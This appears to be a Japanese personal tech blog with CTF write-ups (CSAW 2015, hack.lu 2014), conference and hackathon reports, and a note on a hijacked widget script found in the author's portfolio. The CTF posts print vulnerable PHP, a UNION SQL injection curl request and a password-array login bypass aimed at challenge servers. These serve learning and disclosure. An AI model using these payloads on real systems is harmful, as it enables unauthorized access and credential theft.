CSAWCTF 2015 write up

久々にCSAWCTFに参加したのでwriteupを書きました

解いた問題は以下のような感じです スクリーンショット 2015-09-21 14.10.50

K_{Stairs} web50(100)

歩くたびに死ぬクソゲーをクリアすれば良さそう。 クリアするには沢山のtokenと呼ばれるお金とそのお金でcompassと生き返る薬を買い続ければよかった。 お金は登録すると3token貰え、同じCookieで登録するともらい続けられた。 なので2chの水遁みたくCookieを引き回して登録すれば良さそう。

solve.rb

こういうスクリプトを書いて1000くらい貯めて普通にクリアした。

Your compass indicates you are going the right way. You found the exit... You win! You find the key on a piece of paper: KEY{H0000LY_ST41rRs_S0000_MUCH_SPACE}. Then a grue gets you. You die.

web150(200)

↑と同じゲームをノーダメージでクリアすれば良さそう。 ヒントにはマップが8種類、256×256の大きさしか無いと書かれていた。 おそらく特殊アイテムを手に入れると最後死ななくても良くなると思う。 解けなかった。

Lawn Care Simulator web200

http://54.175.3.248:8089/premium.php にアクセスすれば良かった。 passを配列で送ってやるとうまく行った。

$curl -X POST http://54.175.3.248:8089/premium.php -d "username=admin&password[]=admin"

flag{gr0wth__h4ck!nG!1!1!}

web500

totp keyは手に入れたけど、パスワードはわからなかった

ones_and_zer0es crypto50

01の文字列を8文字ずつ区切ってAsciiにするだけ。

flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, their vulnerabilities are like a neon sign screwed into their heads.

whiter0se crypto50

単純な換字式暗号、解くのは一瞬だったけどそのままでは駄目だった。 ググッて出てきた大文字小文字正しいやつを突っ込んだら通った。

flag{But no, it was a short cut to something bigger. Something grander. Something beautiful. We've been focused on what's in front of us. But we haven't been looking at what's above us.}

zer0-day crypto50

\n を改行にしてbase64デコードするだけ。

flag{We are fsociety, we are finally free, we are finally awake!}

notesy crypto100

a-zを規則的に変換しているようす。a-zのマッピングがflagでした。

flag{UNHMAQWZIDYPRCJKBGVSLOETXF}

Keep Calm and CTF Forensics100

JPEGのコメント部分に書かれてた

flag{h1d1ng_in_4lm0st_pla1n_sigh7}

Flash Forensics100

stringsで見ていくとflagがあった

flag{b3l0w_th3_r4dar}

Transfer Forensics100

やっとForensicsっぽい問題。 pcapが与えられて見ていくとFLAGを生成するエンコーダが。 うまくデコーダを書いてやるとFlagが手に入る。

作ったデコーダ

flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

pcapin Forensics150

Applesoft BASIC program dataのフォーマットで通信をしているpcapが与えられた。データをデコードすればフラグが読めそうだけど、解けなかった。

感想

全体的にエスパー問題が多かったかなという印象、ExploitとReversingが全滅だったのでちょっと何とかしたい。

LINE Developer Day 2015に遊び行ってきた #linedevday

先週の28日にLINEのカンファレンス(LINE DEVELOPER DAY)に行ってきました。
このカンファレンスではサービスを支えるアーキテクチャや技術基盤、サービスのグロースに伴う課題に対しての技術共有がメインな感じで、LINEの開発規模や文化を感じるとてもよい発表が多かったです。

ヒカリエホールをワンフロア貸し切りで、会場の細かいところにも丁寧さを感じました。

お土産やお昼ごはんもご馳走になり、至れり尽くせりな感じでした。

10:30-10:40 – オープニング

この間CEOに就任した出澤さんがオープニングを担当しました。
LINEは2010年の10月にきせかえ機能を追加したことにより爆発的に成長してから、ローカライズとプラットフォームをキーワードにサービスを開発しているらしい。4ヶ月で話題になるサービスを6つも出しているし、LINEのビジネスのスピード感が伺えました。
今後もグローバル化とライフイベントに力を入れていくようで、メッセージアプリがデファクトスタンダードになってきた日本ではとても相性がよい戦略だと思いました。

10:40-11:00 LINE Global Culture

LINE社内の技術者の文化について、CTOの朴さんの発表でした。
LINEでは様々なOSSや技術基盤が使われていており、色んなバックグラウンドを持った人と仕事ができるだとか。あまり組織やチームに縛られず、必要な人が必要なプロジェクトにアサインされる体制になっており、不必要ならプロジェクトを解散するみたいです。
プロダクトの成功率は個人の責任の持ち方で変わるとされている。プロダクトを開発するメンバーは信頼と尊敬が基本で、ピアレビューやセルフディレクションを繰り返してて、個人に責任を持たせてプロジェクトの質を担保しているらしい。
個人に責任を持たせてプロダクトの質を担保させたり、組織や国を横断した技術共有は凄い素晴らしい文化だと思いました。

11:00-11:40 LINE Messenger for the World

上級執行役員の池邉さんのLINE遠征隊とローカライズ化による課題の発表でした。 LINE遠征隊とはアプリを提供している地域に赴いてアプリをチューニングする部隊のことです。日本は割りと電波環境がよく高速なインターネット回線が普及しているらしく、海外では環境によって回線速度が低下したり、販売されている端末の電池の消費が激しかったりと様々なボトルネックが存在するようです。実際に様々な端末や回線でストレス無くアプリが使えるかをテストし、その場でチューニングをするのはとても効率よく大胆な開発手法だと思いました。国によってインフラや使われ方が異なって、現地によってカスタマイズするのはグローバル化をするのであれば当然な流れで、CSを高めるのであれば適切な戦略だと感じました。
また、グローバル化にともなってCSを向上するために国ごとにレビューを監視するシステムが存在し、特定のワードが急上昇するとそこがボトルネック担っていると判断し、チューニングの判断材料にするそうです。グローバル展開しているアプリならではの工夫を感じました、また、潜在的なCSを向上するためにイベント(画像の送信や友達申請など)の成功率などをデータマイニングしたり、CSを向上させる工夫がよく考えられていると感じました。

11:50-12:30 LINE Platform Development Chronicle

鶴原さんのLINEのプラットフォームを支えるアーキテクチャ、組織、文化についてLINEの歴史を紹介でした。
LINEのアーキテクチャの変遷を歴史とイベントに則って発表が印象的でした。アーキテクチャとそれに伴うスケールアウトは教科書的なお手本で工夫しているところといえば、LEGY(LINEのイベントデリバリーゲートウェイ)くらいでSPDYなどでコネクション数の爆発を抑えていた。基本的なアーキテクチャはここ数年変わっておらず、GlobalPOPを作ったくらいらしい。基本に忠実にスケールしていけば、LINEくらいのリクエストはさばけるらしい。またアプリケーションの特性と技術の相性を早い段階で検討できたのはとてもグローバル化する上でとてもスムーズに行く要因だと思いました。共有メモリのバグとErlangへの乗り換えの話はもう少し聞いてみたかったです。技術的にスケールすることを前提に技術要件が決められるようで、スケールさせることを念頭においたアーキテクチャ設計がしっかりとされているように思えた。

LINEはモノリシック+マイクロなサービスを軸に展開をしているらしい。チームの単位は小さく、チーム編成、開発、デプロイと言ったサイクルを短いイテレーションで回しているらしい。また、世界中にいる技術者とコミュニケーションを取る必要があるみたいで、 言語のコミュニケーションやWiki等ではなくて、IDLなどを使って共通のプロトコルを利用している。(後日談ではあるがWiki等も利用しているらしい) 技術プロトコルを決めることでコミュニケーションコストを極力下げるのはとても良いと思った。言語の壁だけではなく、不必要なドキュメントを増やさないためにも、積極的に取り入れたい。

13:30-14:10 – HBaseとRedisを使った100億超/日メッセージを処理するLINEのストレージ

サーバやストレージのお仕事をしている新卒4年目の中村さんの発表でした。
LLINEではユーザー間のメッセージをすべてストレージに格納しており、マルチデバイス間、トランザクションなどに対応しているらしい。その中でもダウンタイムをなくしたり低遅延などが課題にあり、スケーラビリティを高くする工夫をしている。DBとしてはRedis/HBaseを主として用いているらしい。RedisもHBaseもシャーディングクラスタを作っており、負荷に対応できるようにしている。また、シャードやマネージャをポーリングして監視しており、故障があると自動的にslaveをmasterに昇格させている。自動的に昇格させる仕組みや監視する仕組みは技術者の負担を減らす仕組みとして便利だと思いました。またWebアプリケーションとしてクラスタを管理する仕組みまでを作ってしまう所に感動しました。

後半はHBaseのスキーマ設計などの話題が中心でした。HBaseのテーブル設計で失敗した話やホットスポットを作らないような仕組みなどはとても勉強になりました。読み書きどちらが多いのか、書き込みの負荷を減らすにはどこにロジックをもたせるかなどの話は、かなり実務的な内容で設計するときに参考すべき部分だと思いました。また、KVSなどではKeyにSALTを付けないとヘビーユーザーなどが固まりホットスポットができやすく、KeyにSALT(リージョン情報)などをつけることで、データの偏りを減らしているようです。HBaseなどは今まで触れたことがなかったので、メリット・デメリットなどがよくわかり、とても勉強になりました。KVSのスケールは簡単だけど、基本的にRDBでも同じようにできるので、一概にどっちが良いと言えないのかな。RedisやHBaseをモニタリングしたりするLINEの社内システムが充実しておりとても魅力的でした。

14:20-15:00 – グローバルなネットワーク環境と複数OSに対応するためのLINE Game Client Platform 開発戦略

ゲームクライアント開発のキムさんによるLINEゲームプラットフォーム開発の話です。 LINEではゲーム開発基板にLINE GAME PLATFORMというのがあり、iOS/Androidに一貫したコーディングで開発を行える仕組みが備わっている。最初は沢山のコンポーネント(API)を用意し、自由に組み合わせられる仕組みを作っていたが、OS毎に異なる開発を行っていたことにより、一貫性をもたせにくい構造になっていた。そこで、LGCoreManagerという抽象化されたコアライブラリを作り、アプリケーション側ではログインしか見ないような設計になった(Web側で制御するようになったか、別のAPIを用意したか、よく理解していませんでした) またPush機能やLINEGAMEDeveloperの機能を各プラットフォームで使えるようにしていったようです。 またSWIGを使いiOS/Androidのコアライブラリをワンソースから自動生成して共通のライブラリを使えるようにしているようです。
LINEのゲーム開発は自動化や共通化の概念など凄い面白かったです。共通化させるためにコアライブラリをSWIGで自動生成して各プラットフォームで提供していたり、試行錯誤が伺えました。やっぱりグローバルに開発するにはゲームエンジンとか共通プラットフォームを使うほうが効率がいいんだろうと感じました。

その他にも海外の為替レートにより料金を表現する値が8バイトで収まりきらず、決済システムでコケた話やゲーム内のアイテム購入はまとめて購入させることでトラフィックを抑える句風などの話もとても参考になりました。

15:10-15:50 – 巨大化するスタンプ・着せかえ販売システム、その危機と復活の記録

スタンプショップの佐藤さんの発表。LINEのカエルの名前はレナードくんというらしい。 大きなイベントに備えてスケールアウトをさせる必要があるが、ナイーブな実装にはデメリットが多く、トレードオフを考え無いといけないという話でした。初期のスタンプショップではMySQL+Redisを使っていた、アプリケーションはAPIサーバが1台で、アプリケーションレベルのシャーディングを行っていたらしい。問題はシステムとロジックの複雑化による変更部分の複雑化のようで、サービスが扱うデータ量が爆発しJVMが128G使っていたらしい。そういう状況下うまくつかめていなかったのだが、サーバの再起動に3時間かかり問題点の追求に時間がかかったらしい。結局、Redisクラスタを使うように変更して対応したらしい。

APIサーバの設計に問題がありスケールアウトできなかった事例なのかなと思った。遅いAPIはサービスの不安定さにつながり、どういった使われ方をするかを見越して設計を行わないと、いざというときにスケールアウトできず、技術的負債になってしまうと感じた。MySQLにしろRedisにしろ、機能要件を踏まえて負荷分散や冗長化などのスケーラビリティを考える必要がある。どこがボトルネックになりうるかを予測して設計を行わないと大変。色んな意味で勇気のあるプレゼンで凄いと思った。

16:00-16:40 – ビッグデータを活用するための分析プラットフォーム 〜データ集計した先に求められる分析技術〜

橋本さんのLINEのデータ分析についての話でした。 データ基盤はエンジニア向けとプランナー向けに分かれており、それぞれのインタフェースを用意している。エンジニアは生データを柔軟に扱いたい要望が多く、プランナーはKPIやグラフィカルな図やExcelで見たいという要望が多いらしい。重要視してるところは、APIの連携ができるところや、ユーザーの個人情報は隠ぺいするようにしているらしい。ユーザートラッキングしてもあまり意味がないらしい。利用する人によってインタフェースを変えているのはとても合理的だし、それぞれのモジュールが疎結合になっているので、組み合わせやすい設計になっているのはとても拡張性があり良いと思った。

後半はグローバル化や多様化してくることによって、KPIに様々な問題が出てくることについてでした。国ごとのKPIやプロダクト事のKPIが増えてKPI複雑化し、KPIを見なくなる問題が出てきた。しかし、そもそもKPIは人は見なくて良いのではないかという観点から、KPIは自動的に監視するシステムが開発された。すべてのKPIのトレンド分析を自動化して、時系列のトレンドを学習、予測値を出して分析(例えばノイズなのかダウントレンドなのかどうか)時系列のトレンドを学習して、予測値を算出し、異常値を検出したらアラートを飛ばすといったもの。KPIの煩雑化ー>そしてKPIを見なくなるー>KPIは人は見なくて良いのではないかー>KPIは自動化して異常を検出という流れは、必然であるが懐石の基板がしっかりできているのがとてもすごいと感じました。

16:50-17:30 – ベイズ推定とDeep Learningを使用したレコメンドエンジン開発

2014年入社のニューラルネットワークの人、なみかわさんの発表。 スタンプ単位のレコメンドとユーザー単位のレコメンドの話でした。 前提条件としてユーザー数はスタンプより圧倒的に多い、というのとスタンプにはメタデータが存在しないということ、購入履歴とユーザの行動(スタンプの利用など)かられコメントを行っているようです。アイテム同士のレコメンドをしてからユーザーのレコメンドを行っているようです。また、購入履歴がないユーザーに対してのコールドスタート問題はDeeplarningを使い解決しているらしい。

実際にレコメンドエンジンを使うとコンバージョン率が9倍になったことから、スタンプのレコメンドはかなり有効ということが伺えた。疎結合なアーキテクチャを作ることで、レコメンドエンジンの組み合わせが可能になっているのは、とても拡張性がよく使いやすそうだと思いました。個人的にもメタデータの含まれていないレコメンドエンジンを作っているので、協調フィルタリングや画像特徴量を用いるのは良いと考えています。

全体的な感想

必要になったらチームを形成して終わったら解散、組織やチームには属しておらず必要な人が必要なプロジェクトにアサインされる、国や会社を超えてプロジェクトに属するのはエンジニアとして知見が広がり良い環境だと思いました。また、分析ツールや技術基盤などは必要になったチームが作り、それを他のチームでも利用するというのも良い文化だと思いました。
最後に素敵なエンジニアの交流の場を提供していただきありがとうございました!

ポートフォリが外部サイトにリダイレクトされてた件

僕は自分のWebポートフォリオをobjc.jpで公開しているのですが、今日アクセスすると http://octophile.com にリダイレクトされることに気が付きました。
もちろんそんな設定をしてませんし、最近ページを更新した覚えもないのでまたサーバが乗っ取られたかと思ったのですが、どうやら違うようです。

curl -X GET http://objc.jp | grep octophileすると以下のようなコードが
$ curl -X GET http://objc.jp | grep octophile
<script type="text/javascript" src="http://octophile.com/widgets.js"></script>

twitterのフォローwidgetを表示させるコードの部分に変なWidgetがくっついていました。git blameでいつ編集されたかを確認するとこのポートフォリオを作成した2013年11月で、最初から埋め込まれていたようです。

調べていくと同じ現象にあっている人がいました。

このブログいわく、DNS情報が書き換わり、ウィジェット提供サイトがドメインハイジャックされているらしいです。とりあえず問題があるコードを削除しておきました。

うーん、ハイジャック怖い…

オイシックス主催の農業ハッカソン2015に参加してきた #farmhack2015

24,25日の二日間、オイシックス主催の農業ハッカソンとなるものに参加してきました。 オイシックスにおじゃまするのは初めてで、会場はとても広々としたおしゃれな空間でした。 参加者は14,5名程度で4人4チームおり、人数が足りないところはオイシックスの社員さんが参加してくれました。

農業ハッカソン

農業ハッカソンに参加するのは初めてで、アグリビジネスに特化したハッカソンだそうです。 初日の午前中は株式会社サラダボウルの代表田中進さんから農業の現状についての講義をききました。 最近ではICT化が進んでいるのですが、その中での課題はたくさんあるそうで、それをヒントに今回のハッカソンのテーマとして選ぶ事になりました。

お昼はなんとオイシックスさんからの差し入れでサラダランチを頂きました!! みつトマト、かぼっコリーと言ったあまり馴染みのないブランド野菜を食べられて大満足です。

おやつに芋やみかんも頂きました!!!

提案内容

課題設定

課題設定

僕のチームが提案した内容は、大量生産できないような小規模農家と農家とコネクションが無いレストランなどの飲食店とマッチングさせるシステムを考えました。

僕は2日目の午後から参加できなくてプレゼン、結果発表等には参加できませんでした。残念なら入賞とはなりませんでしたが、優勝したチームが全く同じコンセプトでびっくりしました。もう少し差別化できる工夫があっても良かった気がします。

懇親会

二日目の夜はオフィスの近くにあるFORESTというおしゃれなバーで、オイシックスさんが提供してくださった野菜を堪能しました!!


途中で抜けてしまいましたが、大変楽しい2日間でした。 同じチームの藤井さん、浅子さん、森さん、ありがとうございました!

このようなアグリビジネスを考える機会があれば是非参加したいです。 オイシックスの皆様、ありがとうございました!

VimConf 2014に遊びに行ってきた

弊社でVimConfなるものが開かれるとのことで遊びに行ってきました。 僕はVimを使い始めて1年半位になるのですが、まだまだ初心者の粋を超えていません。 Vimの勉強会の類は初めてでドキドキしながら参加したのですが、意外と初心者でも馴染みやすいVim愛の感じるカンファレンスでした。

本日の発表のスライドは以下にあります。 vim-jp.org – Photos

懇親会ではVim scriptの本をもらいました!!
thincaさんとshougoさんとkaoriyaさんのサイン付きです!!(mattnさんのも欲しかった…!)
これを気にVim scriptの作成に励んでいきたいです。

その他にも母校の後輩が参加してたり、帰り道kaoriyaさんと一緒になって色々話ができたりとても充実した一日でした。 本日運営に携わられた方々、お疲れ様でした。

hack.lu 2014 WEB 200 – KILLY THE BIT

hack.lu2014 ctfのWEB 200の解き直しです。
この問題はadminアカウントのパスワードを取得できればいいみたいです。
また、以下のソースが付属してきました。

    <?php
    include 'config.php';

    echo "<html><head><style type='text/css'><!-- body {background-image: url(bg.jpg);background-repeat: no-repeat;height: Percent;width: Percent; background-size: cover;}//--></style> <title>Royal Bank of Fluxembourg</title></head></html>";

    <!-- blind? we will kill you <span class="wp-smiley wp-emoji wp-emoji-smile" title=":)">:)</span> -->
    if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name'])) {
        $res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

        if(mysql_fetch_object($res)) {      
            // Generation of new password
            //<topsecure content>
            // this was filtered during the creation of the phps file
            //</topsecure content>
            die("A new password was generated and sent to your email address!");
        } else {


        $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

            if(mysql_fetch_object($res)) {
                echo "We couldn't find your username, but it sounds like this user:<br>";
            } else {
                die("We couldn't find your username!<br>Are you sure it is ".htmlspecialchars($_GET['name'],ENT_QUOTES, 'utf-8')."?");
            }
            $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

            while($row = mysql_fetch_object($res)) {
               echo $row->name;
               echo "<br>";
            }
        }
    } else {

    echo "<div style='width:800px; margin:0 auto;'><hr><h1><center>Royal Bank of Fluxembourg<center></h1><hr><br><br>Dear users,<br>We were hacked by Killy the Bit! Please use this site to generate your new password. Login will be available on the 23.10.2014 10:01 CEST<br><br><br></div>";
         echo '<div style="width:400px;margin:0 auto;"<pre><img src=wanted.png></img></pre><br><br>';
        echo '<form action="#" method="get">Please enter your username: <br><input type="text" name="name"><br><input type="submit" name="submit" value="Generate"></form></div>';
    }
    ?>

ポイントは、SQLインジェクションが通るところで、これを利用してパスワードを取得できそうです。
また、1度目のSQLが通ってしまうとパスワード変更ページに移動してしまいます。
1度目のSQLはfalseに、2度目のSQLにパスワードが表示されるようにすれば良さそうです。

ちなみにここでのSQLインジェクションは末尾に--を付けないと駄目っぽいです。(前後のスペースが必要、理由はよくわからない)
クエリとしてはUNIONでnameをpasswdで上書きすれば良いです。
passwdのカラムはブラインドSQLインジェクションで調べる必要があるっぽいです。(ヒントでpasswdカラムのことは暴露されてました)

$ curl -X GET "https://wildwildweb.fluxfingers.net:1424/?name=admia%27%20UNION%20select%20passwd,2%20from%20user%20where%20name=%27admin%27%20LIMIT%201,2%20--%20" | grep flag
-->We couldn't find your username, but it sounds like this user:<br>flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}<br>

参考 – Hack.lu CTF 2014: Web 200 – Killy The Bit | CTF Writeups

Hack.lu 2014 write up

先日あったHack.luのCTFにULIXって名前で参加しました。

4 Gunslinger Joe’s private Terminal

SSHの情報が与えられたので、ログインします。 パスワードはIDと同じのgunslinger_joeです。 ログインすると謎のターミナルが合わられました。

$ aaaa
$ *
: ./FLAG: Permission denied
$ /
: /: Is a directory

/**/*と入力すると何かのファイルがviで開きます。 あとは:e FLAGと打ち込んでFLAGを読み込むだけです。

24 Encrypted

指定されたサイトにアクセスするとログインフォームが現れます。 以下のようにGETパラメータで何かを渡してるっぽいです。 https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG+%60anzr%60+SEBZ+%60hfref%60+JURER+%60anzr%60+%3D+%27grfg%27+NAQ+%60cnffjbeq%60+%3D+ZQ5%28%27fff%27%29 デコードするとこんなかんじです。

FRYRPG `anzr` SEBZ `hfref` JURER `anzr` = 'grfg' NAQ `cnffjbeq` = ZQ5('fff')

rot13でSQLを直接送ってるぽいです。

SELECT `name` FROM `users` WHERE `name` = 'test' AND `password` = MD5('sss')

WHERE以降を消すとログインできます。

11 Objection

CoffeeScriptのソースコードが付属してたので、JavaScriptへ変換してみました。 どうやらオブジェクトの指定した関数を実行するプログラムっぽいです。

if (typeof client_context[funcname] !== "function") {
  return con.write("error: unknown function #funcname\n");
}
return client_context[funcname](args, function() {
  return con.write("#it\n");
});

__defineGetter__ is_adminを入力すると、is_adminをオーバーライドする事ができ、get_tokenを実行してtokenを取得することが出来ました。

12 Hidden in ρlaιn sιght

サイトに登録して、ファイルをアップロードすることで、アップロードしたファイルのリンクを生成できるようです。testuserのflag.txtを見ることが出来れ良さそう。

これもソースコードが付属しているようで、見ると アップロードするときに、SALTとしてHMAC_SECRETという乱数値を使っているようですが、よく見ると乱数を生成している時の変数名が違うようです。

HMAC_SECRETが空文字列の時のファイルパスを生成するとflag.txtを取得出来ました。

17 Dalton’s Corporate Security Safe for Business

僕が解いた問題では無いですが、Canvasに書かれているCAPTCHAの文字列はJSで取得することが出来るっぽいです。連続で10回CAPTCHAを入力するとflagが出てくるよう。

やっぱり社会人だと時間取りにくいし難しいな。

ISUCON4の予選に参加した

いまさらですが、初めてISUCONに参加しましたのでその備忘録を残します。 予選当日は以下の構成で挑みました。

AWS上にインスタンスを4つ立ち上げ、計測用サーバと作業用サーバを4台用意しました。 また、アプリとconf周りをリポジトリで管理し、5分おきにpull→デプロイ→ベンチ→Slacへの通知といった流れで作業をしておりました。 Rubyで参加していたのですが、supervisordの再起動ではunicornが正常に再起動されていないので、アプリの再起動にはunicornを手動で再起動させないといけなくなり、あまり意味が無い事してた感はあります。 ちなみにスコアは3800くらいでした。最後の戦略であったスキーマの再実装がうまく動かなかったのが悔しい感じです。なおレポート抜きで9000くらいでした。

事前準備

  • 役割分担
  • ポリシー決め
    • プルリクエストポリシー
    • アロケーションポリシー
  • 作業ワークフローの確認
  • ISUCON3での練習

当日やったこと

  • ユーザーIDのサイズの最適化
  • /のhtmlをアプリに直書き
  • アプリケーションキャッシュ
  • UNIX domain Socket
  • DBスキーマの再実装(が、レポーティングに失敗)

やれなかったこと

  • クエリの最適化やIndex戦略(再実装しなおしたので必要ないけど)
  • Nginxでの静的配信
  • memcache/redisでキャッシュ
  • Bossanの投入

感想

今回は勉強という体だったので、足並みをそろえながらやったというのもあって、あまりいスコアが。他の人のブログにも書いていたが、役割分担は結構重要かなと思った。事前準備なしで挑んでいたらもっとひどかった気がする。

反省点

  • ISUCON3の勉強をもっと早くするべきだった
  • 計測を全然しなかった
  • ファシリテータやタイムキーパーなどいたほうが良さそう
  • クエリ戦略やIndex戦略を生かせなかった(再実装に時間をかけすぎた?)
  • ミドルウェアの知識が全然なさすぎた
  • 割とバランスは良かったが作業分担をもう少しちゃんとするべきだったかも